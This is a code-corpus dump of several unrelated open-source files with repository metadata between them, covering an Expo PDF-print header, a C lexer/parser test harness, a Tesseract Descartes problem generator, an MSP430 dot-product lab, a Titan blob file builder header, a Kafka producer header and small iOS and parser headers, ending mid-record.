// Copyright 2021-present 650 Industries. All rights reserved. #import <Foundation/Foundation.h> #import <WebKit/WebKit.h> #import <EXPrint/EXWKPDFRenderer.h> NS_ASSUME_NONNULL_BEGIN @interface EXWKViewPrintPDFRenderer : NSObject <EXPDFRenderer> - (instancetype)initWithPageSize:(CGSize)pageSize pageMargins:(UIEdgeInsets)pageMargins; - (void)PDFFromWebView:(WKWebView *)webView completionHandler:(void(^_Nullable)(NSError * _Nullable, NSData * _Nullable, int))handler API_AVAILABLE(ios(8.0)); @end NS_ASSUME_NONNULL_END
29.333333
158
0.804924
08c9ef19060b4f877ac3d0954529d8bcf223252c
6,093
c
C
src/test-ri.c
martincohen/Ri
2f19a24f389f4200e1b8aae317c64ecdc6987d89
[ "MIT" ]
52
2019-09-28T17:47:18.000Z
2022-02-04T06:28:56.000Z
src/test-ri.c
martincohen/Ri
2f19a24f389f4200e1b8aae317c64ecdc6987d89
[ "MIT" ]
null
null
null
src/test-ri.c
martincohen/Ri
2f19a24f389f4200e1b8aae317c64ecdc6987d89
[ "MIT" ]
2
2019-09-30T20:07:06.000Z
2019-12-05T04:11:01.000Z
static inline String testri_token_to_string(RiToken* token) { return S(token->start, token->end - token->start); } static inline bool testri_token_equals(RiToken* actual, String expected) { return string_is_equal(testri_token_to_string(actual), expected); } void testri_lex_print() { Ri ri; ri_init(&ri); ri_stream_set_(&ri, S("func main(a int32)")); while (ri.token.kind != RiToken_End) { LOG("- '%S'", testri_token_to_string(&ri.token)); ASSERT(ri_lex_next_(&ri)); } // ASSERT(ri_lex(&ri)); testri_token_equals(&ri.token, S("func")); ASSERT(ri.token.kind == RiToken_Keyword_Function); // ASSERT(ri_lex(&ri)); testri_token_equals(&ri.token, S("main")); ASSERT(ri.token.kind == RiToken_Identifier); // ASSERT(ri_lex(&ri)); testri_token_equals(&ri.token, S("func")); ASSERT(ri.token.kind == RiToken_Keyword_Function); ri_purge(&ri); } static inline void testri_next_token_equals(Ri* ri, RiTokenKind expected_kind, String expected) { ASSERT(ri->token.kind == expected_kind); ASSERT(testri_token_equals(&ri->token, expected)); ASSERT(ri_lex_next_(ri)); } void testri_lex() { Ri ri; ri_init(&ri); ri_stream_set_(&ri, S("func main(a int32)")); testri_next_token_equals(&ri, RiToken_Keyword_Func, S("func")); testri_next_token_equals(&ri, RiToken_Identifier, S("main")); testri_next_token_equals(&ri, RiToken_LP, S("(")); testri_next_token_equals(&ri, RiToken_Identifier, S("a")); testri_next_token_equals(&ri, RiToken_Identifier, S("int32")); testri_next_token_equals(&ri, RiToken_RP, S(")")); testri_next_token_equals(&ri, RiToken_End, S("")); ri_purge(&ri); } void testri_parse() { Ri ri; ri_init(&ri); RiNode* node = ri_parse(&ri, S( "func main(var a int32);" "main;" ), S("testri_parse.ri")); ri_log(&ri, node); ri_purge(&ri); } typedef enum TestRiMode { TestRi_Parse, TestRi_Resolve } TestRiMode; void testri_file_(const char* name, TestRiMode mode) { LOG("'%s': testing", name); Ri ri; ri_init(&ri); RiNode* node = NULL; { CharArray path_source = {0}; chararray_push_f(&path_source, "./src/test/ast/%s.ri", name); array_zero_term(&path_source); ByteArray source = {0}; ASSERT(file_read(&source, path_source.items, 0)); node = ri_parse(&ri, S((char*)source.items, source.count), path_source.slice); array_purge(&source); array_purge(&path_source); } ByteArray expected = {0}; { CharArray path_expected = {0}; chararray_push_f(&path_expected, "./src/test/ast/%s.expected.lisp", name); array_zero_term(&path_expected); if (!file_read(&expected, path_expected.items, 0)) { LOG("'%s': expected file not found", name); } array_purge(&path_expected); } if (mode == TestRi_Resolve && node != NULL) { node = ri_resolve(&ri, node); if (node) { if (!ri_typecheck(&ri, node)) { node = NULL; } } } { CharArray actual = {0}; if (node != NULL) { ri_dump(&ri, node, &actual); } else { chararray_push_f(&actual, "(error\n" " \"%s.ri\" %d %d\n" " \"%S\"\n" ")\n", name, ri.error.pos.row + 1, ri.error.pos.col + 1, ri.error.message.slice ); } if (expected.items != NULL) { if (!string_is_equal(S(expected.items, expected.count), actual.slice)) { LOG("'%s': expected does not match actual", name); LOG("expected:\n%S", expected.slice); LOG("actual:\n%S", actual.slice); LOG("---"); } } CharArray path_recent = {0}; chararray_push_f(&path_recent, "./src/test/ast/%s.recent.lisp", name); array_zero_term(&path_recent); ASSERT(file_write(path_recent.items, actual.items, actual.count, 0)); array_purge(&path_recent); array_purge(&actual); } array_purge(&expected); ri_purge(&ri); } void testri_resolve() { testri_file_("parse/func-no-input-arguments", TestRi_Parse); #if 0 testri_file_("parse/switch", TestRi_Parse); testri_file_("parse/const-real", TestRi_Parse); // TODO: testri_file_("test1"); testri_file_("resolve/decl", TestRi_Resolve); testri_file_("resolve/if", TestRi_Resolve); testri_file_("resolve/if-condition-error-bool", TestRi_Resolve); testri_file_("resolve/for", TestRi_Resolve); testri_file_("resolve/for-condition-error-is-st", TestRi_Resolve); testri_file_("resolve/assignment-infer-error", TestRi_Resolve); testri_file_("resolve/assignment", TestRi_Resolve); testri_file_("resolve/type-spec", TestRi_Resolve); testri_file_("resolve/type-inference-const", TestRi_Resolve); testri_file_("resolve/type-inference-const-binary-left-error", TestRi_Resolve); testri_file_("resolve/type-inference-const-binary-right-error", TestRi_Resolve); testri_file_("resolve/op-arithmetic", TestRi_Resolve); testri_file_("resolve/op-arithmetic-type-mismatch-error", TestRi_Resolve); testri_file_("resolve/op-bitwise", TestRi_Resolve); testri_file_("resolve/op-boolean", TestRi_Resolve); testri_file_("resolve/op-comparison", TestRi_Resolve); testri_file_("resolve/cast-bool", TestRi_Resolve); testri_file_("resolve/cast-int-to-bool-error", TestRi_Resolve); testri_file_("resolve/cast-float-to-bool-error", TestRi_Resolve); testri_file_("resolve/cast-arguments-count-error", TestRi_Resolve); #endif } void testri_main() { // testri_lex_print(); // testri_lex(); // testri_parse(); testri_resolve(); }
31.407216
122
0.603151
d3e4d49e56e12493270b09a5fc7ae2b2ba0f084f
13,739
h
C
tesseract/tesseract_planning/tesseract_motion_planners/include/tesseract_motion_planners/descartes/problem_generators/default_problem_generator.h
johnwason/tesseract
186a34f77af4bbc2a9d6e571e5345f9209f26872
[ "BSD-2-Clause", "Apache-2.0" ]
1
2020-09-30T19:08:54.000Z
2020-09-30T19:08:54.000Z
tesseract/tesseract_planning/tesseract_motion_planners/include/tesseract_motion_planners/descartes/problem_generators/default_problem_generator.h
johnwason/tesseract
186a34f77af4bbc2a9d6e571e5345f9209f26872
[ "BSD-2-Clause", "Apache-2.0" ]
null
null
null
tesseract/tesseract_planning/tesseract_motion_planners/include/tesseract_motion_planners/descartes/problem_generators/default_problem_generator.h
johnwason/tesseract
186a34f77af4bbc2a9d6e571e5345f9209f26872
[ "BSD-2-Clause", "Apache-2.0" ]
1
2019-03-07T18:11:36.000Z
2019-03-07T18:11:36.000Z
/** * @file default_problem_generator.h * @brief Generates a Descartes Problem * * @author Levi Armstrong * @date June 18, 2020 * @version TODO * @bug No known bugs * * @copyright Copyright (c) 2020, Southwest Research Institute * * @par License * Software License Agreement (Apache License) * @par * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * http://www.apache.org/licenses/LICENSE-2.0 * @par * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #ifndef TESSERACT_MOTION_PLANNERS_DESCARTES_DEFAULT_PROBLEM_GENERATOR_H #define TESSERACT_MOTION_PLANNERS_DESCARTES_DEFAULT_PROBLEM_GENERATOR_H #include <tesseract_motion_planners/core/utils.h> #include <tesseract_motion_planners/descartes/descartes_problem.h> #include <tesseract_motion_planners/planner_utils.h> #include <tesseract_motion_planners/descartes/profile/descartes_profile.h> #include <tesseract_motion_planners/descartes/profile/descartes_default_plan_profile.h> #include <tesseract_kinematics/core/validate.h> namespace tesseract_planning { template <typename FloatType> inline std::shared_ptr<DescartesProblem<FloatType>> DefaultDescartesProblemGenerator(const std::string& name, const PlannerRequest& request, const DescartesPlanProfileMap<FloatType>& plan_profiles) { auto prob = std::make_shared<DescartesProblem<FloatType>>(); // Clear descartes data prob->edge_evaluators.clear(); prob->samplers.clear(); // Assume all the plan instructions have the same manipulator as the composite assert(!request.instructions.getManipulatorInfo().empty()); const ManipulatorInfo& composite_mi = request.instructions.getManipulatorInfo(); // Get Manipulator Information prob->manip_fwd_kin = request.env->getManipulatorManager()->getFwdKinematicSolver(composite_mi.manipulator); if (composite_mi.manipulator_ik_solver.empty()) prob->manip_inv_kin = request.env->getManipulatorManager()->getInvKinematicSolver(composite_mi.manipulator); else prob->manip_inv_kin = request.env->getManipulatorManager()->getInvKinematicSolver( composite_mi.manipulator, composite_mi.manipulator_ik_solver); if (!prob->manip_fwd_kin) { CONSOLE_BRIDGE_logError("No Forward Kinematics solver found"); return prob; } if (!prob->manip_inv_kin) { CONSOLE_BRIDGE_logError("No Inverse Kinematics solver found"); return prob; } prob->env_state = request.env_state; prob->env = request.env; // Process instructions if (!tesseract_kinematics::checkKinematics(prob->manip_fwd_kin, prob->manip_inv_kin)) CONSOLE_BRIDGE_logError("Check Kinematics failed. This means that Inverse Kinematics does not agree with KDL " "(TrajOpt). Did you change the URDF recently?"); std::vector<std::string> active_link_names = prob->manip_inv_kin->getActiveLinkNames(); auto adjacency_map = std::make_shared<tesseract_environment::AdjacencyMap>( request.env->getSceneGraph(), active_link_names, request.env_state->link_transforms); const std::vector<std::string>& active_links = adjacency_map->getActiveLinkNames(); // Flatten the input for planning auto instructions_flat = flattenProgram(request.instructions); auto seed_flat = flattenProgramToPattern(request.seed, request.instructions); std::size_t start_index = 0; // If it has a start instruction then skip first instruction in instructions_flat int index = 0; std::string profile; Waypoint start_waypoint = NullWaypoint(); Instruction placeholder_instruction = NullInstruction(); const Instruction* start_instruction = nullptr; if (request.instructions.hasStartInstruction()) { assert(isPlanInstruction(request.instructions.getStartInstruction())); start_instruction = &(request.instructions.getStartInstruction()); if (isPlanInstruction(*start_instruction)) { const auto* temp = start_instruction->cast_const<PlanInstruction>(); assert(temp->isStart()); start_waypoint = temp->getWaypoint(); profile = temp->getProfile(); } else { throw std::runtime_error("Descartes DefaultProblemGenerator: Unsupported start instruction type!"); } ++start_index; } else { Eigen::VectorXd current_jv = request.env_state->getJointValues(prob->manip_inv_kin->getJointNames()); StateWaypoint swp(prob->manip_inv_kin->getJointNames(), current_jv); MoveInstruction temp_move(swp, MoveInstructionType::START); placeholder_instruction = temp_move; start_instruction = &placeholder_instruction; start_waypoint = swp; } profile = getProfileString(profile, name, request.plan_profile_remapping); auto cur_plan_profile = getProfile<DescartesPlanProfile<FloatType>>( profile, plan_profiles, std::make_shared<DescartesDefaultPlanProfile<FloatType>>()); if (!cur_plan_profile) throw std::runtime_error("DescartesMotionPlannerConfig: Invalid profile"); // Add start waypoint if (isCartesianWaypoint(start_waypoint)) { const auto* cwp = start_waypoint.cast_const<Eigen::Isometry3d>(); cur_plan_profile->apply(*prob, *cwp, *start_instruction, composite_mi, active_links, index); } else if (isJointWaypoint(start_waypoint) || isStateWaypoint(start_waypoint)) { const Eigen::VectorXd& position = getJointPosition(start_waypoint); cur_plan_profile->apply(*prob, position, *start_instruction, composite_mi, active_links, index); } else { throw std::runtime_error("DescartesMotionPlannerConfig: uknown waypoint type."); } ++index; // Transform plan instructions into descartes samplers for (std::size_t i = start_index; i < instructions_flat.size(); ++i) { const auto& instruction = instructions_flat[i].get(); if (isPlanInstruction(instruction)) { assert(isPlanInstruction(instruction)); const auto* plan_instruction = instruction.template cast_const<PlanInstruction>(); // If plan instruction has manipulator information then use it over the one provided by the composite. ManipulatorInfo mi = composite_mi.getCombined(plan_instruction->getManipulatorInfo()); Eigen::Isometry3d tcp = request.env->findTCP(mi); // The seed should always have a start instruction assert(request.seed.hasStartInstruction()); std::size_t seed_idx = (start_index == 0) ? i + 1 : i; assert(isCompositeInstruction(seed_flat[seed_idx].get())); const auto* seed_composite = seed_flat[seed_idx].get().template cast_const<tesseract_planning::CompositeInstruction>(); auto interpolate_cnt = static_cast<int>(seed_composite->size()); // Get Plan Profile std::string profile = plan_instruction->getProfile(); profile = getProfileString(profile, name, request.plan_profile_remapping); auto cur_plan_profile = getProfile<DescartesPlanProfile<FloatType>>( profile, plan_profiles, std::make_shared<DescartesDefaultPlanProfile<FloatType>>()); if (!cur_plan_profile) throw std::runtime_error("DescartesMotionPlannerConfig: Invalid profile"); if (plan_instruction->isLinear()) { if (isCartesianWaypoint(plan_instruction->getWaypoint())) { const auto* cur_wp = plan_instruction->getWaypoint().template cast_const<tesseract_planning::CartesianWaypoint>(); Eigen::Isometry3d prev_pose = Eigen::Isometry3d::Identity(); if (isCartesianWaypoint(start_waypoint)) { prev_pose = *(start_waypoint.cast_const<Eigen::Isometry3d>()); } else if (isJointWaypoint(start_waypoint) || isStateWaypoint(start_waypoint)) { const Eigen::VectorXd& position = getJointPosition(start_waypoint); if (!prob->manip_fwd_kin->calcFwdKin(prev_pose, position)) throw std::runtime_error("DescartesMotionPlannerConfig: failed to solve forward kinematics!"); prev_pose = prob->env_state->link_transforms.at(prob->manip_fwd_kin->getBaseLinkName()) * prev_pose * tcp; } else { throw std::runtime_error("DescartesMotionPlannerConfig: uknown waypoint type."); } tesseract_common::VectorIsometry3d poses = interpolate(prev_pose, *cur_wp, interpolate_cnt); // Add intermediate points with path costs and constraints for (std::size_t p = 1; p < poses.size() - 1; ++p) { cur_plan_profile->apply(*prob, poses[p], *plan_instruction, composite_mi, active_links, index); ++index; } // Add final point with waypoint cur_plan_profile->apply(*prob, *cur_wp, *plan_instruction, composite_mi, active_links, index); ++index; } else if (isJointWaypoint(plan_instruction->getWaypoint()) || isStateWaypoint(plan_instruction->getWaypoint())) { const Eigen::VectorXd& cur_position = getJointPosition(plan_instruction->getWaypoint()); Eigen::Isometry3d cur_pose = Eigen::Isometry3d::Identity(); if (!prob->manip_fwd_kin->calcFwdKin(cur_pose, cur_position)) throw std::runtime_error("DescartesMotionPlannerConfig: failed to solve forward kinematics!"); cur_pose = prob->env_state->link_transforms.at(prob->manip_fwd_kin->getBaseLinkName()) * cur_pose * tcp; Eigen::Isometry3d prev_pose = Eigen::Isometry3d::Identity(); if (isCartesianWaypoint(start_waypoint)) { prev_pose = *(start_waypoint.cast_const<Eigen::Isometry3d>()); } else if (isJointWaypoint(start_waypoint) || isStateWaypoint(start_waypoint)) { const Eigen::VectorXd& position = getJointPosition(start_waypoint); if (!prob->manip_fwd_kin->calcFwdKin(prev_pose, position)) throw std::runtime_error("DescartesMotionPlannerConfig: failed to solve forward kinematics!"); prev_pose = prob->env_state->link_transforms.at(prob->manip_fwd_kin->getBaseLinkName()) * prev_pose * tcp; } else { throw std::runtime_error("DescartesMotionPlannerConfig: uknown waypoint type."); } tesseract_common::VectorIsometry3d poses = interpolate(prev_pose, cur_pose, interpolate_cnt); // Add intermediate points with path costs and constraints for (std::size_t p = 1; p < poses.size() - 1; ++p) { cur_plan_profile->apply(*prob, poses[p], *plan_instruction, composite_mi, active_links, index); ++index; } // Add final point with waypoint cur_plan_profile->apply(*prob, cur_position, *plan_instruction, composite_mi, active_links, index); ++index; } else { throw std::runtime_error("DescartesMotionPlannerConfig: unknown waypoint type"); } } else if (plan_instruction->isFreespace()) { if (isJointWaypoint(plan_instruction->getWaypoint()) || isStateWaypoint(plan_instruction->getWaypoint())) { const Eigen::VectorXd& cur_position = getJointPosition(plan_instruction->getWaypoint()); // Descartes does not support freespace so it will only include the plan instruction state, then in // post processing function will perform interpolation to fill out the seed, but may be in collision. // Usually this is only requested when it is being provided as a seed to a planner like trajopt. // Add final point with waypoint costs and contraints /** @todo Should check that the joint names match the order of the manipulator */ cur_plan_profile->apply(*prob, cur_position, *plan_instruction, composite_mi, active_links, index); ++index; } else if (isCartesianWaypoint(plan_instruction->getWaypoint())) { const auto* cur_wp = plan_instruction->getWaypoint().template cast_const<tesseract_planning::CartesianWaypoint>(); // Descartes does not support freespace so it will only include the plan instruction state, then in // post processing function will perform interpolation to fill out the seed, but may be in collision. // Usually this is only requested when it is being provided as a seed to a planner like trajopt. // Add final point with waypoint costs and contraints /** @todo Should check that the joint names match the order of the manipulator */ cur_plan_profile->apply(*prob, *cur_wp, *plan_instruction, composite_mi, active_links, index); ++index; } else { throw std::runtime_error("DescartesMotionPlannerConfig: unknown waypoint type"); } } else { throw std::runtime_error("DescartesMotionPlannerConfig: Unsupported!"); } start_waypoint = plan_instruction->getWaypoint(); start_instruction = &instruction; } } // Call the base class generate which checks the problem to make sure everything is in order return prob; } } // namespace tesseract_planning #ifdef SWIG %template(DefaultDescartesProblemGeneratorD) tesseract_planning::DefaultDescartesProblemGenerator<double>; #endif // SWIG #endif // TESSERACT_MOTION_PLANNERS_DEFAULT_PROBLEM_GENERATOR_H
43.204403
118
0.703763
c1a816dc615537f363fadf4898c8614535d935b4
151
h
C
project526/src/component382/headers/component382/lib25.h
gradle/perf-native-large
af00fd258fbe9c7d274f386e46847fe12062cc71
[ "Apache-2.0" ]
2
2016-11-23T17:25:24.000Z
2016-11-23T17:25:27.000Z
project526/src/component382/headers/component382/lib25.h
gradle/perf-native-large
af00fd258fbe9c7d274f386e46847fe12062cc71
[ "Apache-2.0" ]
15
2016-09-15T03:19:32.000Z
2016-09-17T09:15:32.000Z
project526/src/component382/headers/component382/lib25.h
gradle/perf-native-large
af00fd258fbe9c7d274f386e46847fe12062cc71
[ "Apache-2.0" ]
2
2019-11-09T16:26:55.000Z
2021-01-13T10:51:09.000Z
#ifndef PROJECT_HEADER_component382_25_H #define PROJECT_HEADER_component382_25_H int component382_25(); #endif // PROJECT_HEADER_component382_25_H
18.875
42
0.86755
1408603864cc56b5efa799ff0e94913e33b95ec8
655
h
C
src/exceptions.h
KnairdA/SimpleParser
d7e8d8e4cdef84ded68795ba0c41bec2f1ee37f2
[ "MIT" ]
null
null
null
src/exceptions.h
KnairdA/SimpleParser
d7e8d8e4cdef84ded68795ba0c41bec2f1ee37f2
[ "MIT" ]
null
null
null
src/exceptions.h
KnairdA/SimpleParser
d7e8d8e4cdef84ded68795ba0c41bec2f1ee37f2
[ "MIT" ]
null
null
null
#ifndef PARSER_SRC_EXCEPTIONS_H_ #define PARSER_SRC_EXCEPTIONS_H_ #include <exception> namespace SimpleParser { class parenthese_exception: public std::exception { virtual const char* what() const throw() { return "Invalid parenthesized expression - check your input term."; } }; class operator_exception: public std::exception { virtual const char* what() const throw() { return "Unexpected operator placement - check your input term."; } }; class identifier_exception: public std::exception { virtual const char* what() const throw() { return "Identifier could not be correctly resolved."; } }; } #endif // PARSER_SRC_EXCEPTIONS_H_
21.833333
69
0.749618
1b87aa6409435803280d664f54906ef036ba2bc6
2,813
c
C
Lab_02/Lab2_Q3.c
dthornton22/CPE325_FA20_UAH
be59704b4ff96145249de8dd5aa572916385ba8b
[ "MIT" ]
1
2020-11-11T02:14:02.000Z
2020-11-11T02:14:02.000Z
Lab_02/Lab2_Q3.c
dthornton22/CPE325_FA20_UAH
be59704b4ff96145249de8dd5aa572916385ba8b
[ "MIT" ]
null
null
null
Lab_02/Lab2_Q3.c
dthornton22/CPE325_FA20_UAH
be59704b4ff96145249de8dd5aa572916385ba8b
[ "MIT" ]
null
null
null
/*--------------------------------------------------------- * File: Lab2_Q3.c * Description: This programs computes the dot product * Input: Two random int arrays of size ARRAYSIZE * Output: Dot product * Author: David Thornton * Lab Section: 2 * Date: September 7, 2020 * *------------------------------------------------------*/ #include <time.h> // For srand() #include <stdio.h> // For printf #include <msp430.h> #include <stdlib.h> // For srand() #define ARRAYSIZE 13 // With a size of 13 and range of [-50, 50], // this program will never reach INT_MAX or INT_MIN. // 50 x 50 (max result) = 2500. 2500 x 13 (array size) = 32500. 32500 < INT_MAX (32767). // The same calculation can be done with negative numbers for INT_MIN. // ARRAYSIZE and maxRange can be adjusted based on design requirements. int dotProduct(int arrayA[], int arrayB[], int sizeA, int sizeB); // Function prototype int main() { WDTCTL = WDTPW + WDTHOLD; // Stop watchdog timer to prevent time out reset srand(time(NULL)); // Random number seed based on system time int x[ARRAYSIZE]; int y[ARRAYSIZE]; unsigned int i; const unsigned int maxRange = 101; // Sets the range to [0, 100] const unsigned int toNegative = maxRange/2; // Shifts the range down to include negative numbers. This causes some uneven distribution. for(i = 0; i <= ARRAYSIZE-1; i++) // This loop populates the two arrays with random numbers in the range [-50, 50] { int randX = rand() % maxRange - toNegative; int randY = rand() % maxRange - toNegative; x[i] = randX; y[i] = randY; } printf("X Array: \n"); for(i = 0; i <= ARRAYSIZE-1; i++) { printf("Value %02d: %3d", i+1, x[i]); printf("\n"); } printf("\nY Array: \n"); for(i = 0; i <= ARRAYSIZE-1; i++) { printf("Value %02d: %3d", i+1, y[i]); printf("\n"); } unsigned int sizeX = (sizeof(x)/sizeof((x)[0])); unsigned int sizeY = (sizeof(y)/sizeof((y)[0])); int result = dotProduct(x, y, sizeX, sizeY); printf("\nThe dot product is: %d", result); return 0; } int dotProduct(int arrayA[], int arrayB[], int sizeA, int sizeB) { int product = 0; int i = 0; if (sizeA == sizeB) // This size check is not needed in this case, as array size is a defined constant ARRAYSIZE. // I am still including it as a best practice and a failsafe. { for (i = 0; i <= sizeA-1; i++) // Loop to calculate dot product { product += (arrayA[i] * arrayB[i]); } return product; } else if (sizeA != sizeB) { printf("Array sizes must match. Exiting program."); exit(0); } return 0; }
35.1625
118
0.562744
9b4a0de91e992f5b377b331264c951018fe8e3a3
6,412
h
C
src/blob_file_builder.h
apple-ouyang/titan
a946ac830e4f518fc67bbcf1b93863a316463720
[ "Apache-2.0" ]
null
null
null
src/blob_file_builder.h
apple-ouyang/titan
a946ac830e4f518fc67bbcf1b93863a316463720
[ "Apache-2.0" ]
null
null
null
src/blob_file_builder.h
apple-ouyang/titan
a946ac830e4f518fc67bbcf1b93863a316463720
[ "Apache-2.0" ]
null
null
null
#pragma once #include "blob_format.h" #include "table/meta_blocks.h" #include "titan/options.h" #include "util/autovector.h" #include "util/compression.h" #include "util/file_reader_writer.h" namespace rocksdb { namespace titandb { // Blob file format: // // <begin> // [blob record 1] // [blob record 2] // ... // [blob record N] // [meta block 1] // [meta block 2] // ... // [meta block K] // [meta index block] // [footer] // <end> // // 1. The sequence of blob records in the file are stored in sorted // order. These records come one after another at the beginning of the // file, and are compressed according to the compression options. // // 2. After the blob records we store a bunch of meta blocks, and a // meta index block with block handles pointed to the meta blocks. The // meta block and the meta index block are formatted the same as the // BlockBasedTable. class BlobFileBuilder { public: // States of the builder. // // - `kBuffered`: This is the initial state where zero or more data blocks are // accumulated uncompressed in-memory. From this state, call // `EnterUnbuffered()` to finalize the compression dictionary if enabled, // compress/write out any buffered blocks, and proceed to the `kUnbuffered` // state. // // - `kUnbuffered`: This is the state when compression dictionary is finalized // either because it wasn't enabled in the first place or it's been created // from sampling previously buffered data. In this state, blocks are simply // compressed/written out as they fill up. From this state, call `Finish()` // to complete the file (write meta-blocks, etc.), or `Abandon()` to delete // the partially created file. enum class BuilderState { kBuffered, kUnbuffered, }; struct BlobRecordContext; typedef autovector<std::unique_ptr<BlobRecordContext>> OutContexts; struct BlobRecordContext { std::string key; // original internal key BlobIndex original_blob_index; BlobIndex new_blob_index; bool has_value = false; std::string value; // only kDeltaRecords need thoses 3 fields bool is_delta_compressed = false; std::vector<BlobIndex> deltas_original_indexs; uint32_t delta_index; void WriteDeltaIndexsContexts(OutContexts *contexts) { assert(is_delta_compressed); for (size_t i = 0; i < deltas_original_indexs.size(); ++i) { std::unique_ptr<BlobFileBuilder::BlobRecordContext> ctx( new BlobFileBuilder::BlobRecordContext); ctx->key = this->key; ctx->new_blob_index = this->new_blob_index; ctx->original_blob_index = deltas_original_indexs[i]; ctx->delta_index = static_cast<uint32_t>(i); contexts->emplace_back(move(ctx)); } deltas_original_indexs.clear(); } }; // Constructs a builder that will store the contents of the file it // is building in "*file". Does not close the file. It is up to the // caller to sync and close the file after calling Finish(). BlobFileBuilder(const TitanDBOptions& db_options, const TitanCFOptions& cf_options, WritableFileWriter* file, uint32_t blob_file_version = BlobFileHeader::kVersion2); // Tries to add the record to the file // Notice: // 1. The `out_ctx` might be empty when builder is in `kBuffered` state. // 2. Caller should set `ctx.new_blob_index.file_number` before pass it in, // the file builder will only change the `blob_handle` of it void Add(const BlobRecord& record, std::unique_ptr<BlobRecordContext> ctx, OutContexts* out_ctx); // Tries to add the record to the file // Notice: // 1. The `out_ctx` might be empty when builder is in `kBuffered` state. // 2. Caller should set `ctx.new_blob_index.file_number` before pass it in, // the file builder will only change the `blob_handle` of it void Add(const DeltaRecords& records, std::unique_ptr<BlobRecordContext> ctx, OutContexts* out_ctx); // AddSmall is used to prevent the disorder issue, small KV pairs and blob // index block may be passed in here void AddSmall(std::unique_ptr<BlobRecordContext> ctx); // Returns builder state BuilderState GetBuilderState() { return builder_state_; } // Returns non-ok iff some error has been detected. Status status() const { return status_; } // Finishes building the table, and return status. // This method will return modify output contexts when it is called in // `kBuffered` state. // REQUIRES: Finish(), Abandon() have not been called. Status Finish(OutContexts* out_ctx); // Abandons building the table. If the caller is not going to call // Finish(), it must call Abandon() before destroying this builder. // REQUIRES: Finish(), Abandon() have not been called. void Abandon(); // Number of calls to Add() so far. uint64_t NumEntries(); // Number of sample records uint64_t NumSampleEntries() { return sample_records_.size(); } const std::string& GetSmallestKey() { return smallest_key_; } const std::string& GetLargestKey() { return largest_key_; } uint64_t live_data_size() const { return live_data_size_; } private: BuilderState builder_state_; bool ok() const { return status().ok(); } // Enter unbuffered state, only be called after collecting enough samples // for compression dictionary. It will modify `out_ctx` of the buffered // records void EnterUnbuffered(OutContexts* out_ctx); void WriteHeader(); void WriteRawBlock(const Slice& block, BlockHandle* handle); void WriteCompressionDictBlock(MetaIndexBuilder* meta_index_builder); void FlushSampleRecords(OutContexts* out_ctx); void WriteEncoderData(BlobHandle* handle); void UpdateKeyRange(const std::string &key); template <typename BlobType> void Add(const BlobType &record, std::unique_ptr<BlobRecordContext> ctx, OutContexts *out_ctx); TitanCFOptions cf_options_; WritableFileWriter* file_; const uint32_t blob_file_version_; Status status_; BlobEncoder encoder_; // following 3 may be refactored in to Rep std::vector<std::string> sample_records_; uint64_t sample_str_len_ = 0; std::unique_ptr<CompressionDict> compression_dict_; OutContexts cached_contexts_; uint64_t num_entries_ = 0; std::string smallest_key_; std::string largest_key_; uint64_t live_data_size_ = 0; }; } // namespace titandb } // namespace rocksdb
35.622222
80
0.712882
15b2af8ef0bf7433463c14fdf80178072c8c618e
1,108
h
C
src/reactor_kafka/reactor_kafka_producer.h
fredrikwidlund/libreactor_kafka
73d34a49d2e4836acf3c83a440445ce48a492947
[ "Apache-2.0" ]
null
null
null
src/reactor_kafka/reactor_kafka_producer.h
fredrikwidlund/libreactor_kafka
73d34a49d2e4836acf3c83a440445ce48a492947
[ "Apache-2.0" ]
null
null
null
src/reactor_kafka/reactor_kafka_producer.h
fredrikwidlund/libreactor_kafka
73d34a49d2e4836acf3c83a440445ce48a492947
[ "Apache-2.0" ]
null
null
null
#ifndef REACTOR_KAFKA_PRODUCER_H_INCLUDED #define REACTOR_KAFKA_PRODUCER_H_INCLUDED enum reactor_kafka_producer_state { REACTOR_KAFKA_PRODUCER_STATE_CLOSED = 0x01, REACTOR_KAFKA_PRODUCER_STATE_OPEN = 0x02, REACTOR_KAFKA_PRODUCER_STATE_ERROR = 0x04 }; enum reactor_kafka_producer_event { REACTOR_KAFKA_PRODUCER_EVENT_ERROR, REACTOR_KAFKA_PRODUCER_EVENT_MESSAGE, REACTOR_KAFKA_PRODUCER_EVENT_CLOSE }; typedef struct reactor_kafka_producer reactor_kafka_producer; struct reactor_kafka_producer { size_t ref; size_t state; reactor_user user; reactor_timer timer; vector topics; rd_kafka_t *kafka; }; void reactor_kafka_producer_hold(reactor_kafka_producer *); void reactor_kafka_producer_release(reactor_kafka_producer *); void reactor_kafka_producer_open(reactor_kafka_producer *, reactor_user_callback *, void *, char *); void reactor_kafka_producer_close(reactor_kafka_producer *); void reactor_kafka_producer_publish(reactor_kafka_producer *, char *, char *, size_t); #endif /* REACTOR_KAFKA_PRODUCER_H_INCLUDED */
29.945946
100
0.793321
184b69dd88bbae37933f4dd64ff8c2e8bd6057a8
359
h
C
Qlink/Main/Wallets/EOS/EOSRAMViewController.h
QlcChainOrg/winq-ios
21dc93068e2f4bfe14b1fa65a398a049782894c5
[ "MIT" ]
8
2018-07-11T12:31:20.000Z
2019-08-14T03:38:45.000Z
Qlink/Main/Wallets/EOS/EOSRAMViewController.h
QlcChainOrg/winq-ios
21dc93068e2f4bfe14b1fa65a398a049782894c5
[ "MIT" ]
65
2020-03-29T08:17:07.000Z
2021-01-14T22:41:10.000Z
Qlink/Main/Wallets/EOS/EOSRAMViewController.h
QlcChainOrg/winq-ios
21dc93068e2f4bfe14b1fa65a398a049782894c5
[ "MIT" ]
9
2018-07-11T10:37:19.000Z
2019-08-03T10:33:14.000Z
// // EOSRAMViewController.h // Qlink // // Created by Jelly Foo on 2018/12/5. // Copyright © 2018 pan. All rights reserved. // #import "QBaseViewController.h" NS_ASSUME_NONNULL_BEGIN @class EOSSymbolModel; @interface EOSRAMViewController : QBaseViewController @property (nonatomic, strong) EOSSymbolModel *inputSymbolM; @end NS_ASSUME_NONNULL_END
16.318182
59
0.763231
1854302aed74c9a5952d8a47d5fff313f3fb29d5
289
h
C
private/shell/applets/smtidy/lnktrack.h
King0987654/windows2000
01f9c2e62c4289194e33244aade34b7d19e7c9b8
[ "MIT" ]
11
2017-09-02T11:27:08.000Z
2022-01-02T15:25:24.000Z
private/shell/applets/smtidy/lnktrack.h
King0987654/windows2000
